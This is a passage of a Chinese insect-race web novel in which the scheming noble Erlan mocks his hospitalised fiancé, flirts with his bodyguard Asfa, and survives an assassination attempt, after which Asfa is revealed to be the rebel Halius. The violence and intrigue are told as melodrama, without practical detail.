厄兰闻言低笑一声,用指尖轻轻掸了掸袖口并不存在的灰尘:“那就得看他……经不经得起闹了。” 话音落下,他已经带着阿斯法施施然走进了专属电梯。 缇宁受伤的这段时间一直都是海瑟在旁照顾每天端水喂粥,“贤良”得简直不像是南部出来的雄虫,就连每天巡房的护士看了都艳羨不已,更何况是缇宁了。 “海瑟……谢谢你一直照顾我……. 缇宁脸色苍白地躺在病床上,经过一段时间的治疗还是难掩虚弱,他的脖颈处缠绕着一圈厚重的生物修复绷帶,隐约可见下方狰狞的缝合痕迹— 那是哈琉斯送给他的“礼物”,一道干脆利落的致命伤,几乎切断了他的整个咽喉。 如果不是那支价值连城的基因药剂强行吊住了他的最后一口气,拖到医疗组赶来进行气管重建,现在的他大概早就变成了一具冰冷的尸体。 只是尽管如此,缇宁每次说话都像破了的风箱,带着某种金属的浑浊质感。 “没关系,医生说过你很快就会康复的,而且我们是伴侣,不用计较那么多。” 海瑟坐在病床旁边,贴心给缇宁掖了掖被角,动作温柔细致,南部确实少有雄虫能做到像他这个地步。 缇宁苍白的指节微微收紧,将海瑟的手握在掌心,他声音沙哑,却带着前所未有的认真:“海瑟,等我出院之后,我们就缔结伴侣契约。” “我发誓——” “只有你能做我此生唯一的雄主。” 海瑟闻言垂眸,脸上出现一抹浅淡的笑意,结果还没来得及开口,就听见两声轻佻的叩门声突兀响起。 “笃、笃。” 厄兰斜倚在病房门口,浅紫色的眼眸难掩兴味,他唇角微扬,语调慵懒,也不知是故意还是无意,刻意咬重了某个关键性的名词:“看来我来得好像不是时候?亲爱的未~婚~夫,你住院了怎么也不告诉我,我好来医院照顾你啊,这样就不用劳烦海瑟阁下了,你说是不是?”这句话的杀伤力实在太大,不仅海瑟白着脸从床边站起了身,就连躺在床上的缇宁脸色也瞬间难看了起来:“你怎么过来了?”他可没忘记厄兰在他身上留了两个弹孔的事。 厄兰双手插兜带着阿斯法走进病房,然后随手拽了张椅子落座,他双腿交叠,好整以暇欣赏着缇宁这副凄惨模样,语气却是怜悯又伤心: “亲爱的,你这说的是什么话,我们是未婚夫嘛,将来还要成为伴侣的…… 这句话颇有些杀敌一千自损八百的意味,厄兰语罢喉结控制不住轻微滚动一瞬,强行压下那种被恶心到的感觉,这才重新恢复正常, “你受伤了,我又怎么能不来探望呢?” 缇宁的呼吸已经急促起来,却还是强撑着一口气与他对视:“厄兰冕下,我喜欢的雄虫并不是您,您看来也并不怎么喜欢我,否则当初也不会接连两次朝我开枪了,既然如此又何必硬凑在一起,请您……退婚吧。”厄兰确实早就想退婚了,可此刻看着缇宁苍白的面容,他又有些迟疑。 这种感觉很奇妙—就像他本来想给对方一记耳光,却突然发现这一巴掌可能会把对方给打爽,这种微妙的矛盾让他有些举棋不定,不知该不该继续动手。 厄兰思索一番,最后精准选中了能把缇宁和海瑟气死的那条路,眉梢轻挑:“退婚?我可从来都没想过和你退婚呀。” 缇宁脸色愈发难看:“你什么意思?” 厄兰倒入椅背,惯做无辜笑意:“我能有什么意思,过来看看你伤势恢复的怎么样了而已,如果可以出院了,我们就筹备筹备婚礼准备结婚吧。” 缇宁此刻如果能够吐血,估计现在已经吐了三升不止,他顾不得身上插着的仪器管,强撑着从病床上坐起身,神情隐忍而又屈辱:“你以为我不知道你和哈琉斯那个叛军纠缠不清吗?既然如此又何必要娶我?!” 厄兰唇角微勾,优雅攤手 “没关系,南部也没有规定雄虫只能娶一个嘛,我可以两个都娶呀,实在不行他做大你做小,我们三个一起把日子过好比什么都强。” “你——!” 缇宁闻言气得脖颈青筋暴起,猛地扑到床边想做些什么,却被身上的那些输液管困住了动作,海瑟见状心中一惊,连忙按住他: “缇宁!你的伤口还没好,千万不要乱动!” 厄兰在旁边慢悠悠开口补刀:“是呀~你千万不要乱动哦,万一伤口裂开怎么办,我们的婚礼岂不是要推迟了?” 他忽然觉得自己不用拔氧气管好像也能把缇宁给活活气死了,神情相当愉悦。 海瑟终于忍无可忍转过身:“厄兰冕下,您一定要这么折磨缇宁吗?!假使您还有一点点道德,就不该强迫他嫁给您!” 厄兰鞋尖轻晃,故意模仿他的语气:“假使你还有一点点道德,就不该和一只有了未婚夫的雌虫勾勾搭搭,你说是不是?” 海瑟一噎:“我们是真心相爱的!” 厄兰点评道:“你们是真的恶心。” 他语罢慢悠悠从椅子上站起身,然后朝着缇宁的方向走去,海瑟见状脸色骤变,还以为他打算对缇宁做些什么,箭步上前想要拦住他: “你有什么冲我来,缇宁是无 话未说完,他的肩膀猛然袭来一阵关节错位的剧痛,紧接着视线天旋地转,被厄兰身旁那名看起来安静沉默的军雌狠狠掀翻在地,发出“砰”的一声闷响。 “海瑟?!” 缇宁见状呲目欲裂,急切下床想要查看他的情况,但没想到因为太过着急,喉间发出一阵剧烈的咳嗽,伤口崩裂,在纱布上蔓延浅浅的绯红。 厄兰听见动静脚步一顿,回头看向身后,只见海瑟神情痛苦地捂着肩膀倒在地上,不用检查都能看出来骨头八成被拧断了,他唇角勾起一抹弧度,笑得眼睛都眯了起来:“好呀,那就听你的。” 他语罢做了个手势, “阿斯法,没听见这位阁下刚才说了些什么吗?还不照做。” 阿斯法垂眸,恭敬吐出一个字:“是。” 他语罢倾身蹲下,骨节分明的指尖攥住海瑟的头发,直接将这只雄虫从病房以一种扔垃圾般的姿态拖了出去,病房门“砰”一声关上,隔绝了外面隐隐约约的惨叫声。 缇宁痛苦闭目,狠狠捶了一下病床边缘:“厄兰!你有什么只管冲我来,海瑟是无辜的!你如果真的不想取消婚约,我嫁给你就是了……”. “啪!” 话未说完,他脸上冷不丁挨了一记耳光,力道不算重,看起来只是随手一扇,但侮辱性却极强。 厄兰在床边优雅落座,那只完美得就像艺术品的手直接捏住缇宁的下巴,迫使他抬起头来,雄虫面上虽然在笑,眼底却似寒潭般阴冷漆黑,语气轻飄飘的 “衰货,真以为我想娶你啊?” 要不是缇宁现在死了会惹来麻烦,再加上对方或许还有那么点用,厄兰早就把他一枪爆头了。 缇宁眼底飞快闪过一抹屈辱和恨意,他死死攥住被角,听见门外传来的惨叫只觉得心如刀割:“我们的事和海瑟没有关系,你到底要怎么样才肯放了他?!” 厄兰意味深长道:“那就要看你拿什么来交换了,例如………秘金的消息?” 缇宁瞳孔骤缩:“秘金?!” 一条漆黑的小蛇盘踞在暗处,见状尾尖轻轻甩动,似乎想做些什么,但思考片刻又放弃了,转而把尾巴伸直,然后缓缓躺平。 算了,摆烂了。 十七楼的走廊已经被提前清空,四下寂静一片。 当厄兰整理好衣服上的褶皱从病房出来时,就见阿斯法正规规矩矩守在门口,而海瑟也不知经受了什么,脸色苍白地躺在地上,冷汗将头发浸透,活像遭受了一场什么酷刑,双腿抽搐甚至有失禁的征兆,偏偏从外表看一点伤痕都没有。厄兰单手插兜,掏出一方手帕掩住口鼻,随口问道:“你做什么了?” 阿斯法去闻言悄无声息走到厄兰身后,黑色的军靴落地没有发出半分轻响,他低头靠近雄虫耳畔,声音低低,吐息明明是温热的,却总是透着一股子凉意 “冕下,请您放心,不会有任何仪器检查出他身上的伤痕。” 厄兰瞥了他一眼,心想这只雌虫外表看起来清清秀秀的,没想到下手这么狠:“做的不错。” 走出医院大门的时候,外面的太阳已经落山,远处的高楼大厦后方有一座宏伟无比的战神雕像,正双臂擎天将最后一缕落日余晖托举在掌心—— 正如南部宣扬的那般,光明永悬不落。 厄兰饶有兴趣问道:“知不知道南部和北部最大的区别在哪里?” 阿斯法轻轻颔首:“愿闻其详。” 厄兰慢条斯理碾了碾鞋尖,声调懒洋洋的:“南部贵族最擅长给肮脏的心思裹上糖衣,而北部虫族总是可以直面自己内心最深处的欲望。” 他语罢不知想起什么,语气玩味的问道: “我刚才在病房里的样子看起来是不是很像一个十恶不赦的坏蛋?” 瞧瞧,缇宁都快被气疯了。 阿斯法闻言缓缓抬头,他帽檐阴影下的眼睛注视着厄兰,薄唇勾起一抹微不可察的弧度,声音低沉认真: “没关系,很乐意成为您的共犯。” 潜台词,确实挺像的。 厄兰:…… 厄兰转身看向阿斯法,掀了掀眼皮:“我再给你一次机会,重新回答。” 阿斯法却只是静静望着他,冰蓝色的眼眸难掩玩味,问了一个无关的问题:“您真的打算和缇宁少将结婚吗?” 212、勾引 厄兰饶有兴趣:“你很想知道答案?” 阿斯法神情不变,只是优雅欠身,就像最忠诚的护卫:“冕下,我只是为了您的安危着想,毕竟缇宁少将看起来……很想将您杀之而后快。” “没关系。” 厄兰唇角微扬,他屈指轻弹阿斯法的军装上的臂章,似笑非笑,一副“你没见过世面了吧”的样子, “我的前前任未婚夫也是这么想的,那天枪战的时候你又不是不在。” 阿斯法:……. 等阿斯法驱车将厄兰送到住宅的时候,天已经黑了,维多秘书长和索亚上将果不其然没回家,他们一个跟着联盟总理满世界开会,一个在托比亚森林进行精锐选拔,天知道什么时候才能回来。 彼时琉恩正趴在地毯上专心致志玩拼图,发丝在灯光下泛着细碎的光,他听见开门的动静下意识抬头,恰好看见厄兰和阿斯法从外面走进来,澄澈的紫色眼眸还残留在思考时的专注,茫然眨巴了一下眼睛,仿佛在努力回忆些什么。 “怎么不叫我?” 厄兰朝着沙发走去,顺手在琉恩头顶上揉了一把,每天忽悠着这个小傻子叫哥哥算是他唯一的消遣了。 琉恩仰起脸,乖巧喊道:“厄兰哥哥。” 厄兰在沙发上舒展开身形,漫不经心指了一下跟进来的阿斯法:“这也是哥哥,叫哥哥。” 琉恩困惑地歪了歪头,但还是很听话的喊了一声:“哥哥?” 阿斯法只是淡淡颔首,清俊的脸上看不出什么情绪,他黑色的军靴停在厄兰身侧,负手而立,始终将自己放在护卫的位置上:“冕下,您还有个弟弟?” 无怪乎他会这么问,整个南部都知道厄兰是维多家族的独子。 “不是。” 厄兰双腿交叠搭在茶几上,随手从果盘里拿了一个橘子,在掌心抛了两下, “他是我未来小舅子。” 阿斯法微妙沉默了一瞬:“是前任未婚夫的,还是……前前任未婚夫的?” 厄兰无谓摆摆手:“是谁的都没关系,小舅子嘛,又不是生虫崽,不讲究血缘关系。” 阿斯法:.… 倒也是。 晚上吃完饭后,琉恩就被保姆带上楼睡觉了,不知道为什么,他今天初次见到阿斯法就表现出了难以想象的热情,玩玩具的时候老是眼巴巴看着对方,可惜阿斯法并没有给予太多回应,只是淡淡站在一旁,最多在皮球不小心滚到脚边的时候用军靴准确无误踢回去。 厄兰没什么困意,等琉恩回房后就拿着光脑坐在楼下刷新闻,今天的星网头条终于和那群反叛军没关系了,而是一条关于某位北部高官的长子被刺杀身亡的消息,据说还是只雄虫。 因为这件事,南北两部现在几乎吵翻了天。 北部怀疑是南部做的,骂他们不要脸也不要壳,居然连雄虫都能下得了手。 南部咬死了不承认,明明是你们北部的风水不养虫,害得雄虫香消玉减,怎么还栽赃到他们头上了?南部死了一堆高官,他们直到现在还没找到凶手呢!北部那些政客闻言气得差点把桌子捶烂,真是活见鬼了,什么叫香消玉减,那只雄虫死的时候身中七枪,和风水有个屁的关系!你们要是不给个说法这件事儿就没完!北部政客的拳头硬,南部政客的嘴巴毒,议事厅里两拨虫起初还能维持着衣冠楚楚的仪态阴阳怪气,到后面不知怎么就打起来了,文件话筒满天乱砸,视频在星网上疯传,被誉为年度抓马事件之最。其实别说是北部了,就连厄兰都怀疑那只雄虫的死和南部脱不了干系,毕竟那群叛军实在太过猖狂,今天炸个监狱,明天炸个地标性建筑,等同于把南部的脸面放在地上踩。北部那些英勇善战的雌虫可不像南部高官那么好刺杀,从雄虫身上下手反而是最好也最有效的办法——没看见北部高层现在已经气疯球了吗。 当阿斯法端着一杯葡萄酒从冷藏室出来的时候,就见厄兰正坐在沙发上漫不经心翻阅那则新闻,他悄无声息走过去,然后倾身蹲下,冰凉的杯壁似有似无触碰到雄虫的手背,声音低沉:“冕下,您的酒。” 厄兰随手接过高脚杯,修长的指尖托着杯身轻轻晃了晃,殷红馥郁的液体看起来格外妖冶,头也不抬的道: “坐吧,我这里没那么多规矩。” 阿斯法要保持清醒,所以厄兰没有让他沾酒。 “您在看新闻吗?” 阿斯法没有动,依旧维持着那个倾身蹲下的姿势,军装不经意擦过厄兰的膝盖,隔着一层薄薄的布料,能清晰感受到上面金属装饰物的冷硬边角。 厄兰没有否认,抿了一口红酒: “嗯哼,还挺有意思的。” 他果然是天生的恶魔,只不过托生成了一副天使皮囊,看见这种刺杀新闻居然也能笑得这么开心。 阿斯法眼眸轻垂,发现厄兰西裤上有一条浅浅的折痕,他抬起骨节分明的指尖认真抚平,动作轻微细致,痒意蔓延开来,就像一种暖昧的撩拨: “是吗?” 他说:“冕下,如果我是您,绝不会笑得这么开心。” 厄兰动作一顿:“为什么?” 阿斯法似乎是轻笑了一声,只是听起来不太明显:“您知道死的那只北部雄虫是什么身份吗?” 厄兰饶有兴趣:“什么身份?” 阿斯法的指尖在厄兰膝盖处轻轻绕了一个圈,然后顺着向下滑落,丝滑而又缓慢,就像一滴雨水落在了玻璃窗上:“他的雌父是北部的政务卿,地位等同于维多秘书长在南部的地位,而且…… 他轻飘飘扔下一个炸弹:“那只雄虫是除了北部首领的伴侣外,等级最高的雄虫,您猜群北部叛军为了示威报复,会不会对您下手呢?” 哦,艹! 这么一说还真有可能。 厄兰闻言神情微妙变幻了一瞬,下意识抬眼看向阿斯法,却见对方正静静注视着自己,直到此刻他好像才终于注意到雌虫放在自己膝盖上的手,眉梢轻挑,不仅没有躲避,反而慢条斯理覆住了对方的手背。 入手触感是冰凉的,还能摸到细细的薄茧。 厄兰缓缓倾身,故意压低声音,在阿斯法耳畔状似担忧的询问道:“那可怎么办?阿斯法,你一定会好好保护我的对吗?” 阿斯法不答,而是垂眸看向他们交握在一起的手,微不可察挣扎了一瞬,雌虫纤长的睫毛在眼下打落一片阴影,声音低低,仿佛有些为难:“冕下,您已经有了未婚夫,他们看见了应该会不高兴的吧?” 好茶哦。 厄兰握住他的手递到唇边,漫不经心吻了一下,明明只是掀了掀眼皮,风流却像月色般从眉梢倾泻而出:“怎么,你害怕?” 厄兰唇边笑意深深,声音轻缓,莫名听出了几分劝哄意味:“怕什么,反正我那两个未婚夫都想着把我千刀万剐,我也不一定非要娶他们。” 阿斯法幽幽抬眼,冰蓝色的瞳仁在客厅朦胧的光线中显得有些暗沉,一眼窥不到底,白皙的耳尖却适时蔓延了一片红晕,似乎有些不好意思“冕下,月您的意思是“ “我娶你怎么样?” 厄兰勾唇,他用指尖轻轻挑起雌虫的下巴,仔细端详着这张清俊干净的脸,像是在欣赏什么精美的瓷器,最后漫不经心擦过对方的耳廓边缘, “你长得也很漂亮,不比他们差。” 阿斯法似乎有些不安,他偏头躲过,垂眸盯着地面上的花纹:“冕下,您说笑了,我只是一个小小的列兵而已,又怎么配得上您呢。” “保护您是我的职责,这件事不会因为任何原因而动摇。” 厄兰似乎有些惋惜:“亲爱的阿斯法,你真的不考虑一下吗?毕竟我还挺喜欢你的。” 阿斯法低头,轻轻摇了摇,军帽阴影遮住了他的眉眼,声音一如既往恭顺:“时间不早,您该上楼休息了。” 厄兰不免想起想起了上次阿珀的事:“你会守在门外吗?” 阿斯法终于抬头看向他,顿了顿,轻笑一声: “当然,向您发誓,寸步不离。” 酒是助眠的好物,厄兰每天晚上都会喝一杯,然而不知是不是因为今天大脑太过疲惫,他上楼回房后一沾枕头就睡着了,意识昏沉,呼吸匀称绵长。 楼下,阿斯法正站在厨房阴影里清洗酒杯,水流开得极小,在寂静的夜里几不可闻。 他垂眸注视着手中的高脚杯,指腹认真摩挲着杯壁,直到最后一缕药物残留被水流冲刷殆尽,这才慢条斯理地用棉布拭去水痕,将杯子放入消毒柜,动作精准得像是做过千万次。厄兰睡得很沉。 沉到连房门被推开的声音都没能惊动他。 来者似乎毫无顾忌,军靴踏过地板,发出沉闷而清晰的声响,每一步都像踩在紧绷的神经上。月亮悄然隐入云层,屋内光线朦胧不清,只能依稀瞥见那抹修长的身影缓缓走到床边,然后漫不经心落座,阴影将厄兰熟睡的面容彻底笼罩其中。——真是一张绝顶漂亮又可恨的脸。 漂亮到险些让虫信了他的真情流露,信了他的清白无辜。 骨节分明的手尚且残留着水流冲刷过后的湿冷触感,如同盘踞的毒蛇,无声无息覆住了厄兰白皙修长的脖颈,带着薄茧的指腹一寸寸摩挲着皮肤下方青色的血管,依稀还能感受到脉搏的跳动——温热,脆弱,仿佛只要稍一用力就能扭断。 来者低低叹息了一声,像是恶魔的怜悯: “厄兰,你这张谎话连篇的嘴…… 213、暴露 一夜时间悄然流逝,厄兰丝毫不知道自己已经从生死边缘走了一遭。 阿斯法上次说他很可能成为北部的下一个刺杀目标,这句话并不是单纯的危言耸听,因为没过多久维多秘书长就亲自打来电话,再三叮嘱厄兰这段时间待在家里千万不要外出。 “好吧,请您放心,在危机解除之前我保证不会踏出家门半步…… “缇宁病危了关我什么事……哦,我前脚刚走他后脚就送进病房急救了是吗……那可真是不幸……万一他只是看见我太过高兴导致伤口崩裂了呢…” “向虫神起誓……我从来不撒谎……真希望他没事……洛伦兹么…… 阿斯法刚刚从外面检查完监控回来,就见厄兰正坐在沙发上和维多秘书长打电话,期间还闪过了一个略显陌生的名字,雄虫的语气听起来诚恳而又担忧,唇边的弧度却一直没下去过,怎么看怎么幸灾乐祸。 阿斯法静静垂眸,悄无声息走到沙发一侧站立,只不过厄兰后面没再说话,大多都是“嗯嗯啊啊”的敷衍,以至于很难推测出他和维多秘书长聊了些什么内容,约摸过了十几分钟左右,通话这才切断。 “当啷 ” 厄兰随手把通讯器扔到茶几上,然后往沙发上懒洋洋一躺,不等阿斯法开口询问,他就主动把刚才的聊天内容说了出来, “让你猜对了,北部的下一个刺杀目标还真是我,雄父打电话过来,让我这段时间都好好待在家里别出门。” 他闭眼仰头,看不出是担心还是不担心。 阿斯法斟酌一瞬才道:“是不是该请索亚上将派一队精锐过来贴身保护您?” 事实上这才是正常操作,独子的生命安全受到威胁,索亚上将没道理坐视不理。 厄兰闻言睁开双眼,笑着“哦”了一声:“他还在密林里对士兵进行封闭式选拔,暂时联系不上,雄父说另外派一队精锐过来保护我,不过被我拒绝了。” 阿斯法冰蓝色的眼眸悄然闪过一丝讶异:“为什么?” “我讨厌被 群虫子围着打转,他派过来的虫越多,里面就越容易混进来北部的细作,还不如让我的耳根子清净一点……再说了,不是还有你吗?” 厄兰语罢偏头看向阿斯法,直接握住雌虫冰凉的右手,漫不经心递到唇边轻吻了一下,虽然除此之外再没有什么多余的动作,却显得格外暖昧: “我有个好消息,你想听吗?” 阿斯法微不可察挣扎了一瞬,却又被雄虫更用力地握住,他低头垂眸,清俊白皙的脸颊微微泛红,似乎是有些不好意思:“冕下,这样不合规矩…”厄兰却好像没听见一样:“缇宁的状况不太妙,已经被送进重症病房急救了。” 阿斯法动作一顿,迟疑开口:“这算是好消息吗?” 厄兰唇角微勾,故意压低声音道:“缇宁如果死了,他的雌侍位置不就空出来了吗?到时候我可以直接娶你,这难道不算好消息?” 阿斯法适当流露出一丝惊讶:“可是……可是您不是说,您的前前任未婚夫不太好惹吗,万一他不高兴怎么办?” “没关系。” 厄兰笑吟吟吻了一下他的指尖, “那……….“去吧。” “你们两个可以打一架嘛,谁赢了听谁的,万一你能把他打服,你做大,他做小,怎么样?” 真是好一个惊天地泣鬼神,厚颜无耻的南部渣虫。 阿斯法努力扯动嘴角露出一抹笑意:“听起来……确实不错。” 厄兰拍了拍他的手,鼓励意味十足:“我相信你,你肯定能赢的。” 上次不就打了个五五开吗? 小黑蛇在暗处甩了甩尾巴尖,心想厄兰这副贱德行早晚被人碎尸万段。 鉴于厄兰最近被北部盯上,这栋住宅的危险系数直线上升,他特意让保姆把琉恩带了出去,不管是托儿所也好还是益智中心也好,总之过几天再回来。 好在琉恩这小傻子也乖的很,不哭不闹的,保姆一牵就跟着离开了,只是临走时回头眼看了厄兰和站在沙发旁的阿斯法,眼底再次闪过某种茫然困惑的情绪。 厄兰还以为他舍不得自己,随意摆了摆手: “玩儿去吧,过两天如果我还没死,肯定接你回来。” 琉恩咬了咬手指,经过短暂而认真的思考后,用最天真的语气问出了最扎心的话, “那万一你死了呢?” 厄兰眼皮子一跳,心想哪里来的臭小孩,这么不会说话:“我死了那你哥就等着守活寡吧!” 他语罢猛地瞪了保姆一眼:“愣着干什么,还不赶紧把他带走?!” “是,冕下。” 保姆闻言连忙应声,拎着行李把琉恩拉了出去,生怕他接下来又说出什么惊世骇俗的话。琉恩临出门前还在眼巴巴回头看,扬起手里的毛绒玩具挥挥,看起来颇为不舍“哥哥再见!” 阿斯法把这一幕收入眼底,并没有什么反应,他偏头看了眼窗外渐深的暮色,然后对厄兰低声提醒道:“冕下,时间不早,您该上楼洗澡了。” 厄兰语气玩味:“你不一起吗?“ 阿斯法身形一顿:… 厄兰蓦地轻笑一声,带着恶作剧后的愉悦:“逗你的。” 他整理好衣服从沙发上站起身,不言不语的时候气质矜贵,又恢复了那副虫模狗样的德行,单手插兜施施然上了楼,仿佛刚才那一瞬间的轻佻只是错觉。 厄兰半只脚踏进房门的时候,阿斯法的声音忽然从楼下响起:“我去厨房给您准备甜汤,顺便检查一下外面的花园大门有没有关好。” 厄兰头也不回地应了一声,身影消失在门后。 阿斯法见状并没有立即离开,而是站在原地盯着紧闭的房门看了片刻,这才转身出门。 高档住宅区守卫森严,但再严密的地方也总会有漏洞,浓稠的夜色成了窥视者最好的伪装,一双双锐利的眼眸隐在暗处,仿佛随时会掀起一场腥风血雨。 阿斯法关好花园铁门,眼角余光忽然瞥见什么东西,他似有所觉抬头看向对面的楼栋,狙击镜的反光一闪而过,快得根本来不及察觉。 他冰蓝色的眼眸无声眯起,不知在思索什么,藏在口袋里的指尖微动,用通讯器发了条加密消息出去,这才缓缓后退,转身进屋。 厄兰洗完澡下楼的时候,就见阿斯法正挽起袖子在厨房做饭,没办法,现在是特殊情况,不仅琉恩被送了出去,就连厨师和管家也暂时放了假,整栋住宅现在只剩他们两个,让厄兰这个四体不勤五谷不分的家伙做饭显然是不现实的。 好在,南部99.9%的军雌都有一手好厨艺。 厄兰拉开椅子在餐桌旁落座,不多时阿斯法就端着一碗热气氤氲的甜汤从厨房走了出来,他仿佛感受不到烫意,骨感修长的指尖稳稳托着瓷碗边缘,一时竟分不清哪个更白皙些。 “冕下,请用。” 厄兰仔细端详着阿斯法清俊的眉眼,看也不看那碗色香味俱全的甜汤,唇角微勾:“辛苦了,坐下来和我一起吃吧。” 阿斯法垂眸站在桌边,用手帕慢条斯理擦了擦指尖,看起来安静而又谦逊:“不必了,这是特意给您做的。” 厄兰语气担忧,装的比谁都良善:“可是你如果不一起喝的话,我会良心不安的。” 阿斯法终于抬头看了他一眼,笑意浅浅,像某种跌丽剧毒的花一点点绽开,声音低不可闻:“您该不会是担心我在里面下毒了吧?” 厄兰慢悠悠噢了一声:“那倒没有。” 他就是有些担心自己变成武大虫而已。 厄兰主动端起碗,舀起一勺甜汤递到阿斯法嘴边,那双风流的紫眸无论看谁都那么深情,低声道:“我不是心疼你忙了这么久还没吃饭吗?来,我喂你。” 阿斯法没动,他在厄兰的注视下缓慢伸手接过瓷碗,看样子是打算自己吃,然而就在他的指尖触碰到汤勺边缘时,目光忽然一凛,猛地将汤碗掷了出去,同时飞快将厄兰的头按到桌子底下一“砰!” 瓷碗被一枚消音子弹瞬间击碎,窗户玻璃混合着瓷碗碎片四处飞溅,在黑夜中发出清脆的炸响,说时迟那时快,几抹黑色的身影幽灵般顺着窗户翻了进来,目标赫然是厄兰。 阿斯法语气阴鸷,立刻把厄兰往桌子里面猛力一推,反手两枪精准射向天花板,头顶吊灯应声爆裂,千万颗水晶碎片如银河般倾泻而下,黑暗骤然吞噬了整个房间,只有飞溅的玻璃渣反射着窗外零星的月光,像是下了一场奢靡的钻石雨。厄兰见状哪里还不明白自己这是遇上了刺杀,他连忙顺着桌子底下爬到另外一边,只听接二连三的枪声响起,同时还伴随着拳脚重击的骨骼碎裂声,终于忍不住借着缝隙往外看了眼。 那几名蒙面的北部叛军都被阿斯法卸了胳膊倒地不起,只剩下一个右耳戴着两枚银环的叛军格外难缠,他的身形就像蛇一样灵敏,总是能在生死关头扭出各种不可思议的角度,鬼魅般避开攻击。 厄兰见状瞳孔骤缩 战圈已经逼至餐桌边缘,再躲下去只会成为瓮中之鳖,他猛地翻滚而出,衣角擦过飞溅的玻璃渣,在木地板上刮出刺耳的声响。 那名叛军立刻察觉,眼中杀意暴涨,抬枪就要扫射。 然而他还没来得及扣动扳机,一颗子弹就精准贯穿了手腕,鲜血喷溅在餐布上,绽开一朵刺目的血花。叛军闷哼一声,枪械脱手砸落,他死死按住伤口,抬头怒视阴影中的射击者,声音因剧痛而嘶哑:“哈琉斯,你他妈的想造反吗?!居然为了那只雄虫打我?!” 这个久违的名字就像刀锋般切断嘈杂,空气瞬间寂静了下来。 顺着那支黑洞洞的枪口看去,持枪者赫然是阿斯法,他的军帽已经在刚才的打斗中不甚掉落,墨色的发丝,冰蓝色的眼眸,还是那张熟悉的脸,只不过神情再不见往日的恭顺伪装,取而代之的是令虫胆寒的阴鸷,嘴角勾起的讥诮弧度让整张脸都显得格外陌生。“造反?” 他低笑,声音像是淬了毒的冰, …“躲好!”“砰——!”“砰———!” “我倒要问问究竟是谁在造反?拉维,你该不会想说这次刺杀是大首领的吩咐吧,我可从来没接到过让你们动手的密令。” 拉维紧捂着血流不止的手腕,露在面罩外的皮肤苍白无比,一双眼睛狠狠盯着哈琉斯: “我是奉了政务卿阁下的命令来刺杀这只雄虫的!但不管大首领有没有吩咐,这都不是你和北部作对的理由!” “那就是造反咯?” 哈琉斯薄唇轻启,吐出这句话的瞬间,他的手臂已经如闪电抬起,猛地扣下了扳机: 子弹穿透空气的破音声还没来得及消散,拉维的眉心已然炸开一朵血花,他的表情凝固在惊愕与不甘之间,身体像断线木偶般向后倾倒,重重砸地。然而死寂只维持了半秒不到。 “砰!砰!砰!” 哈琉斯枪口忽然调转,对准地上抽搐不已的叛军挨个补枪,血花喷薄炸出,将他们残余的生命死死钉入地板,硝烟味在空气中弥漫,浓烈得近乎呛鼻,直到弹匣彻底打空,这种刺耳的声音才终于停止。 鲜血会让地狱里爬出的恶鬼感到兴奋。 哈琉斯控制不住深吸了一口气,这股血腥味混合着火药味的气息像一把钝刀劈开了他结痂的记忆,仿佛又回到了当初刀口上舔血的流亡生活。 不必在意生死,不必在意疼痛。 只顾前行,只顾杀戮。 手中的金属枪管缓缓垂落,灼烧皮肉的温度将他拽回现实。 哈琉斯仿佛终于想起什么似的,眼眸危险眯起,在黑暗中缓缓环顾一圈,最后定格在靠墙的一个角落。 ——厄兰正站在那里。 214、玩脱了 这不是哈琉斯第一次沾染鲜血。 他曾在战火硝烟中摸爬滚打,也曾在绝路颠沛流离,那双手扭断过敌军脆弱的脖颈,也合上过战友濒死不甘的眼眸。 但此刻意义不同。 鲜红的血液从拉维身体里悄然流出,在地板上蜿蜒四散,就像无数条猩红的小蛇,将他脸上属于北部的金色图腾舔舐得模糊不清。 他们本该是盟友、是同谋、是北部那片冻土上共同生存的子民,但此刻尽数死在了哈琉斯的枪下。 那意味着他在与南部割裂后,再次背叛了北部。 仅仅因为厄兰。 这只可恶的、来自南部的雄虫。 军靴缓缓踏过粘稠的血液,最后停在厄兰面前,哈琉斯用那双经过伪装的冰蓝色眼眸面无表情盯着他,目光带着难以言喻的鬼魅气息,侧脸沾着星星点点的喷溅血迹,在苍白的皮肤衬托下殷红刺目: “什么时候认出我的……. 他的声音低沉阴凉用尚带余温的枪管挑起厄兰的下巴。刚才拉维喊出“哈琉斯”这三个字的时候他注意到雄虫的神情没有丝毫讶异,说明对方早就知道这件事。 厄兰不动声色瞥了眼地上的尸体,没想到哈琉斯居然会杀了那些来自北部的同盟: “你杀了他们难道就不怕惹麻烦吗?” 哈琉斯不答,用冰冷的枪管在厄兰下颌处缓慢游走,姿态亲昵得就像调情,语气却让虫毛骨悚然: “你最好回答我的问题。” 他自认为伪装得天衣无缝,前一夜甚至拒绝了厄兰让他留在南部的提议,没道理会被一个没有任何反侦查意识的雄虫认出来。 厄兰的身形有片刻僵硬,随即又一点点放松下来,他背靠着冰冷的墙壁,唇边出现一抹若隐若现的弧度,多次死里逃生果然让他的胆子大了不少,语气戏谑: “你只想知道我是什么时候发现的吗?我还以为你会问……我是怎么发现的。” 他的目光慢悠悠从哈琉斯的耳垂下移,在脖颈处反复流连,哈琉斯注意到他的视线,脸色瞬间难看起来,这才想起在雾牙港的时候这只雄虫曾经短暂标记过他。面容可以改变,气息却不会。 或许早在他以新身份潜伏到厄兰身边的时候,对方就把他认了出来。 厄兰亲眼看见哈琉斯攥枪的手力道骤然收紧,连青筋都浮现了出来,很担心对方会不会恼羞成怒之下一枪崩了自己,但没想到短暂的静默过后,耳畔蓦地响起了一声低笑。 “真聪明…… 哈琉斯收回枪支,忽然伸手捧住了厄兰的脸颊,他用力抵住雄虫的额头,呼吸间尽是铁锈味的血腥气,带着薄茧的指腹远比枪管更有温度,在眼下寸寸摩挲,语气低沉危险, “但真可惜,聪明的虫往往都活不长…… 说完这句话,他忽然安静了下来,连唇边弧度也一点点消失。 哈琉斯长久维持着那个与厄兰紧贴额头的姿势,呼吸缠绕间不分彼此,当黑暗将他们两个的身形吞噬时,他那双冰蓝色的眼眸突然多了几分难以察觉的情意,就像海水退潮之后,终于露出岸边赤裸的真心,却带着让厄兰读不懂的难过。“厄兰……. 哈琉斯怔怔开口,语气低沉幽深,不知夹杂着怎样复杂的情绪: “你知不知道……我潜伏到你身边是为了杀你?” 他潜伏到厄兰身边不是为了保护他,是想杀了他。 哈琉斯这样的叛军是不需要后路的,也不需要信仰。 因为没有后路,所以做事可以不计后果, 因为没有信仰,所以杀戮不必顾及底线, 死了也不过赔 条残命而已。 但是厄兰,你怎么能对一个在悬崖钢丝上游走的亡命之徒,说你可以做他的退路? 